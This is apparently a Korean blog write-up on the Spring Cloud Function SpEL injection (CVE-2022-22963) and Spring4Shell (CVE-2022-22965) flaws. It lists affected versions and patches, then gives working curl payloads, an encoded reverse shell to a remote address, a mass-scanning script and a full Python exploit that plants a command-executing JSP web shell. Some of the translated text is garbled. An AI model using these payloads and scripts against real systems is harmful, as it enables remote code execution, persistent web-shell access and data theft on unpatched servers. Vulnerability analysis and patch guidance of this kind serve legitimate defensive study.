개요
Spring 프레임워크 및 Spring Cloud Function 관련 원격코드 실행 취약점 발견
CVE-2022-22963 영향 받는 버전
Spring Cloud Function 3.1.6 ~ 3.2.2 버전
※ 취약점이 해결된 버전 제외(3.1.7, 3.2.3 업데이트 버전 제외)
CVE-2022-22965 영향 받는 버전
1) JDK 9 이상의 2) Spring 프레임워크 사용하는 경우
- Spring Framework : 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전
※ JDK 8 이하의 경우 취약점의 영향을 받지 않음
대응방안
CVE-2022-22963
Spring Cloud Function 3.1.7, 3.2.3 버전으로 업데이트
CVE-2022-22965
Spring Framework 5.3.18, 5.2.20 버전으로 업데이트
1. CVE-2022-22963 (Spring Cloud Function) 분석 및 대응 방안
분석 발생 원인
Spring Cloud Function은 Spring Boot를 기반으로 합니다. (FaaS)의 컴퓨팅 기능을 위한 프레임워크, SpEL Functional Dynamic Routing 기반 지원. 특정 구성에서 3 <= 에디션 <= 3.2.2( commit dc5128b Before ) RCE에 SpEL 표현식 실행 결과
RoutingFunction의 SpringCloud 함수에 결함이 있습니다. 함수 자체의 목적은 마이크로 서비스를 생성하는 것입니다. HTTP 요청을 통해 직접 단일 함수와 상호 작용할 수 있습니다. 또한 spring.cloud.function.definition 매개변수는 이름을 제공합니다 호출하려는 함수
POST /functionRouter HTTP/1.1
Host:127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type:application/x-www-form-urlencoded
Content-Length: 3
xxx
POC를 살펴보세요. 실제로는 간단한 요청 헤더라는 것을 알고 있습니다. 추가... 머리에 spring.cloud.function.routing-expression 매개변수
SpringCloud 함수 매개변수 내용은 SPEL 쿼리로 직접 가져와 SPEL 루프홀 주입을 유발합니다.
더 나은 분석을 위해 springcloudfunctionspel\src\main\java\com\example\springcloudfunctionspel\SpringcloudfunctionspelApplication.java 데모 테스트 시작 가능
그런 다음 방문하여 요청에 기존 기능을 작성하면 호출할 수 있습니다.
POST /functionRouter HTTP/1.1
Host: localhost:8080
spring.cloud.function.definition: uppercase
Content-Type: text/plain
Content-Length: 3
abc
ABC 대문자 결과 ABC 얻기에 성공
결함은 spring.cloud.function.routing-expression의 헤더에 있습니다.
, 정의가 동일하며 공식 기능이기도 합니다.
org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#processRequest 메소드 유지
프로그램은 현재 요청이 RoutingFunction인지 여부를 결정합니다.
그리고 우리가 제출한 요청 헤더와 요청 본문의 내용을 Message로 컴파일하고 메서드에서 적용되는 FunctionInvocationWrapper에 전달
적용 방법의 RoutingFunction을 추적하려면
마지막으로 org.springframework.cloud.function.context.config.RoutingFunction#route를 입력합니다.
그런 다음 요청이 여기에서 판단됩니다. 헤더가 있습니까? 머리에 spring.cloud.function.routing-expression 매개 변수(여기에서 spring.cloud.function.definition을 명확하게 볼 수 있습니다. 여기에서도 판단할 수 있음)
그리고 결과를 this.functionFromExpression() 메서드로 가져옵니다.
여기 마지막으로 SpelExpressionParser 구문 분석된 맞춤법 표현, expression.getValue 호출하여 맞춤법 표현 주입으로 연결
그리고 그의 EvaluationContext 기본 StandardEvaluationContext, 지정되지 않은 EvaluationContext 이 경우 기본값은 StandardEvaluationContext이며, SpEL의 모든 기능을 포함하며, 사용자가 입력을 제어할 수 있도록 허용하는 경우 SpEL 표현식은 클래스와 해당 메소드를 조작할 수 있으며, 다음을 사용할 수 있습니다. 클래스 유형 표현식 T(Type) 또는 직접 새로 만들기 모든 개체의 메서드를 호출하려면 모든 명령을 성공적으로 실행합니다.
spring.cloud.function.definition=functionRouter 구성이 활성화되면 RoutingFunction 로직이 트리거되고, 들어오는 spring.cloud.function.routing-expression 매개변수가 제어 가능하면 SPEL 표현식이 실행됩니다.
application.properties 에서 구성 확인
spring.cloud.function.definition=functionRouter 외에도 uppercase, lowerecase, reverse, foo 등 시도해볼 수 있음
2. CVE-2022-22963 (Spring Cloud Function) 테스트 및 POC
1. 테스트 환경 구성
- 아래 명령어를 통해 취약한 버전(v3.1.6)이 포함된 환경 실행
wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zip
unzip v3.1.6.zip cd spring-cloud-function-3.1.6 cd spring-cloud-function-samples/function-sample-pojo mvn package java -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar |
2. POC 코드
파일 생성 명령어(특정 파일이 생성되는지로 취약유무 판단)
curl -X POST http://127.0.0.1:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/1234")' --data-raw 'data' -v
|
ping 명령어를 이용한 점검 방법.(공격자에게 ping신호가 오는지로 취약유무 판단)
$ curl -i -s -k -X $'POST' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"ping -c5 172.17.0.1\")' -H $'Content-Type: application/x-www-form-urlencoded' $'http://172.17.0.2:8080/functionRouter' |
shell (test해봐야함)
{'spring.cloud.function.routing-expression': 'T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjAuMC4xLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}")', 'Co ntent-Type': 'application/x-www-form-urlencoded'}
3. 취약점 스캔코드
poc.py
import requests
import sys
import threading
import urllib3
urllib3.disable_warnings()
def scan(txt,cmd):
payload=f'T(java.lang.Runtime).getRuntime().exec("{cmd}")'
data ='test'
headers = {
'spring.cloud.function.routing-expression':payload,
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
path = '/functionRouter'
f = open(txt)
urllist=f.readlines()
for url in urllist :
url = url.strip('\n')
all = url + path
try:
req=requests.post(url=all,headers=headers,data=data,verify=False,timeout=3)
code =req.status_code
text = req.text
rsp = '"error":"Internal Server Error"'
if code == 500 and rsp in text:
print ( f'[+] { url } is vulnerable' )
poc_file = open('vulnerable.txt', 'a+')
poc_file.write(url + '\n')
poc_file.close()
else:
print ( f'[-] { url } not vulnerable' )
except requests.exceptions.RequestException:
print ( f'[-] { url } detection timed out' )
continue
except:
print ( f'[-] { url } error' )
continue
if __name__ == '__main__' :
try:
cmd1 =sys.argv[1]
t = threading . Thread ( target = scan ( cmd1 , 'whoami' ) )
t.start()
except:
print ( 'Usage:' )
print('python poc.py url.txt')
pass
파일 입력 형태
http://127.0.0.1:8080
http://localhost:8080
3. CVE-2022-22965 (Spring Framework) 분석
분석 발생 원인
Spring Core에서는 @RequestMapping Annotation을 이용해 매개변수를 바인딩 및 접근하는 2가지 방법이 존재합니다.
'키-값' 쌍으로 구성된 Map을 이용
아래 캡처와 같이 Map에서 매개변수에 접근할 수 있으며 매개변수의 값은 'model.data'라는 Model Object에 저장되어 사용됩니다.
POJO(Plain Old Java Object)를 이용
POJO(Plain Old Java Object)라고 불리는 일반 자바 객체의 속성에 URL을 통해 입력된 매개변수가 매핑되어 사용될 수 있습니다.
아래 캡처에서 매개변수는 'Greeting.greeting' 객체의 속성에 바인딩되며, 실제 요청이 오면 'Greeting' 타입의 인스턴스에 접근하여 속성을 사용할 수 있습니다.
아래와 같이 getter, setter를 이용해 매개변수에 접근할 수 있습니다.
02-02 취약점
해당 취약점은 특정 상황에서 'class' 라는 특수한 변수가 사용자에게 노출될 때 발생하며 상세한 절차는 다음과 같습니다.
- 웹 어플리케이션 이용자가 매개변수를 사용하는 페이지에 접근합니다.
- 어플리케이션은 요청 매개변수를 POJO에 바인딩하기 위해 "getCachedIntrospectionResults" 라는 메소드를 호출한 후 캐시의 Object 속성을 가져옵니다. (이때 POJO는 @RequestBody annotation이 적용되어 있지 않아야 합니다.)
- 반환된 Object에는 'class' 가 포함되어 있어 사용자는 'class' 객체를 원격에서 사용할 수 있게 됩니다.
- 이용자는 요청 패킷 매개변수에 'class'의 자식 객체를 입력, 전송하여 객체를 이용할 수 있습니다. Spring Core 프레임워크에서 필터링하는 객체를 우회하여 사용해야 합니다.
패치 전에는 'class'의 자식 객체에 대한 직접 접근을 필터링하기 위해 'CachedIntrospectionResults.java' 에서 아래와 같이 'class.classLoader' 및 'class.protectionDomain' 을 필터링을 하였었지만 'class.module.classLoader' 을 사용하여 우회 가능하였습니다.
if (Class.class == beanClass &&
("classLoader".equals(pd.getName()) || "protectionDomain".equals(pd.getName()))) {
continue;
}
4. CVE-2022-22965 (Spring Framework) 테스트 및 POC
1. 테스트 환경 구성
docker pull me2nuk/cves:2022-22965
docker run -it -p 8080:8080 --name=spring4shell me2nuk/cves:2022-22965
2. POC
- 테스트 웹 서버에 웹 쉘을 생성하는 페이로드 전송.
curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8088 |
- 생성된 웹 쉘에 명령어를 보내 결과값을 확인.
localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami |
# curl -i -s -k -X $'GET'
-H $'Host: <target>'
-H $'User-Agent: alex666'
-H $'Connection: close'
$'https://<target>/path/foo/?class.module.classLoader.URLs%5B0%5D=0' | grep -i 400
Payload 1: Spring Framework RCE found!
# curl -i -s -k -X $'GET'
-H $'Host: <target>'
-H $'User-Agent: alex666'
-H $'Connection: close'
$'https://<target>/path/foo/?class.module.classLoader.DefaultAssertionStatus=nosense' | grep -i 400
Payload 2: Spring Framework RCE found!
# curl -i -s -k -X $'GET'
-H $'Host: <target>'
-H $'User-Agent: alex666'
-H $'Connection: close'
$'https://<target>/path/foo/?class.module.classLoader.definedPackages%5B0%5D=0' | grep -i 400
Payload 3: Spring Framework RCE found!
3. RCE
python3 exploit.py --url="http://localhost:8080/exploit/greeting" --dir="webapps/ROOT" --file="cmd"
exploit.py
from urllib.parse import urlparse
import requests
import argparse
import urllib3
import time
urllib3.disable_warnings()
WEBShell= """%{directive}i page import="java.util.*,java.io.*" %{endtag}i %{starttag}i if(request.getParameter("%{parameter}i") != null){Process p = Runtime.getRuntime().exec(request.getParameter("%{parameter}i"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr);disr = dis.readLine();}} %{endtag}i"""
classes = [
'class.module.classLoader.resources.context.parent.pipeline.first.pattern',
'class.module.classLoader.resources.context.parent.pipeline.first.suffix',
'class.module.classLoader.resources.context.parent.pipeline.first.directory',
'class.module.classLoader.resources.context.parent.pipeline.first.prefix',
'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat',
]
Template_Variable = {
'directive':'<%@',
'endtag':'%>',
'starttag':'<%',
'parameter':'cmd'
}
def argv():
parser = argparse.ArgumentParser(description='CVE-2022-22965 RCE Exploit')
parser.add_argument('--url', help='target url EX) --url=http://localhost:8080', default="http://localhost:8080/exploit/greeting", dest="target", required=True)
parser.add_argument('--file', help='WebShell file name to write to EX) --file=cmd', default="cmd", dest="filename")
parser.add_argument('--dir', help='WebShell Directory Path to Write to. EX) --dir=webapps/ROOT', default="webapps/ROOT")
args = parser.parse_args()
return args.filename, args.dir, args.target
def exploit():
filename, directory, target = argv()
payloads = {
classes[0]:WEBShell,
classes[1]:'.jsp',
classes[2]:directory,
classes[-2]:filename,
classes[-1]:'',
}
res = requests.post(target, data={classes[-1]:'_'})
print(f"\033[92m[+] INFO - {classes[0]} Resetting : _")
res = requests.post(target, data=payloads)
print(f"\033[92m[+] INFO - POST Response status code : {res.status_code}\033[0m")
time.sleep(3)
res = requests.get(target, headers=Template_Variable)
print(f"\033[92m[+] INFO - GET Response status code : {res.status_code}\033[0m")
time.sleep(1)
res = requests.post(target, data={classes[0]:''})
print(f"\033[92m[+] INFO - Exploit Success\033[0m\n")
parse_target = urlparse(target)
shellurl = f"{parse_target.scheme}://{parse_target.netloc}/{filename}.jsp"
print(f"\033[95m[*] INFO - WebShell URL : {shellurl}\033[0m")
if __name__ == '__main__':
exploit()
5. 참고 용어 설명
용어 설명
용어 | 설명 |
Spring | Java 애플리케이션을 빠르고 쉽게 개발할 수 있게 해주는 프레임워크로 많은 개발자가 사용한다. |
Spring Cloud | 분산 환경에서 개발, 빌드, 배포, 운영에 필요한 아키텍처를 쉽게 구성할 수 있게 도와주는 Spring Boot 기반의 프레임워크를 말한다. |
Spring Cloud Function | 클라우드 서비스를 빌드 및 연결하기 위한 서버리스 실행 환경을 말한다. |
SpEL | 객체에 대한 쿼리와 조작(querying and manipulating)을 지원하는 강력한 표현 언어이다. |
Maven | 프로젝트 객체모델(Project Object Model: POM) 이라는 개념을 바탕으로 프로젝트의 의존성관리, 라이브러리관리, 프로젝트 라이프사이클 관리 기능등을 제공하는 프로젝트 관리도구이다. |
2. 취약점 요약
항목 | 내용 | 비고 |
CVE CODE | CVE-2022-22965 | SpringShell, Spring4Shell 취약점이라고 불림 |
CVSS 점수 | 9.8(CRITICAL) | |
취약 내용 | Spring Core에서 발생하는 원격코드실행 취약점 | |
취약 대상 | JDK 9 이상을 사용하는 경우 | 이 5가지 조건을 모두 만족해야 함 |
Spring Framework 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전을 사용하는 경우 | ||
아파치 톰캣(Apache Tomcat)을 사용하는 경우 | ||
프로젝트가 WAR으로 패키징 되어있을 경우 | ||
Spring-WebMVC 또는 Spring-WebFlux을 사용하는 경우 | ||
조치 방법 | Spring Framework 5.3.18, 5.2.20 버전으로 업데이트 |
배포사 블로그 : https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
핵심은 요색dfdfdfdfdfdfdf
캡쳐
참조 : https://github.com/hktalent/spring-spel-0day-poc
GitHub - hktalent/spring-spel-0day-poc: spring-cloud / spring-cloud-function,spring.cloud.function.routing-expression,RCE,0day,0
spring-cloud / spring-cloud-function,spring.cloud.function.routing-expression,RCE,0day,0-day,POC,EXP,CVE-2022-22963 - GitHub - hktalent/spring-spel-0day-poc: spring-cloud / spring-cloud-function,sp...
github.com
https://sysdig.com/blog/cve-2022-22963-spring-cloud/
https://hagsig.tistory.com/103
Spring Cloud 취약점(CVE-2022-22963) 설명 및 조치 방법
Spring Cloud 취약점(CVE-2022-22963) 설명 및 조치 방법 ※ Spring 취약점이 연달아 발견되면서 두 개가 같은 취약점이라고 오해하시는 분들이 많다. 22년 3월 29일에 공개된 CVE-2022-22963이 Spring Cloud 취약..
hagsig.tistory.com
https://github.com/alt3kx/CVE-2022-22965
GitHub - alt3kx/CVE-2022-22965: Spring Framework RCE (CVE-2022-22965) Nmap (NSE) Checker (Non-Intrusive)
Spring Framework RCE (CVE-2022-22965) Nmap (NSE) Checker (Non-Intrusive) - GitHub - alt3kx/CVE-2022-22965: Spring Framework RCE (CVE-2022-22965) Nmap (NSE) Checker (Non-Intrusive)
github.com
Spring4Shell 취약점 정리 및 POC (CVE-2022-22965)
중국의 한 보안 전문가가 올린 Spring Core 프레임워크 취약점 POC 화면이 발단이 되어 여러 POC가 웹 상에 올라왔습니다. 해당 취약점은 2022년 03월 31일 Spring 개발자에 의해 'CVE-2022-22965' 취약점으로
velog.io
https://github.com/me2nuk/CVE-2022-22965
GitHub - me2nuk/CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+ / spring4shell / CVE-2022-22965
Spring Framework RCE via Data Binding on JDK 9+ / spring4shell / CVE-2022-22965 - GitHub - me2nuk/CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+ / spring4shell / CVE-2022-22965
github.com
https://github.com/fullhunt/spring4shell-scan
GitHub - fullhunt/spring4shell-scan: A fully automated, reliable, and accurate scanner for finding Spring4Shell and Spring Cloud
A fully automated, reliable, and accurate scanner for finding Spring4Shell and Spring Cloud RCE vulnerabilities - GitHub - fullhunt/spring4shell-scan: A fully automated, reliable, and accurate scan...
github.com
댓글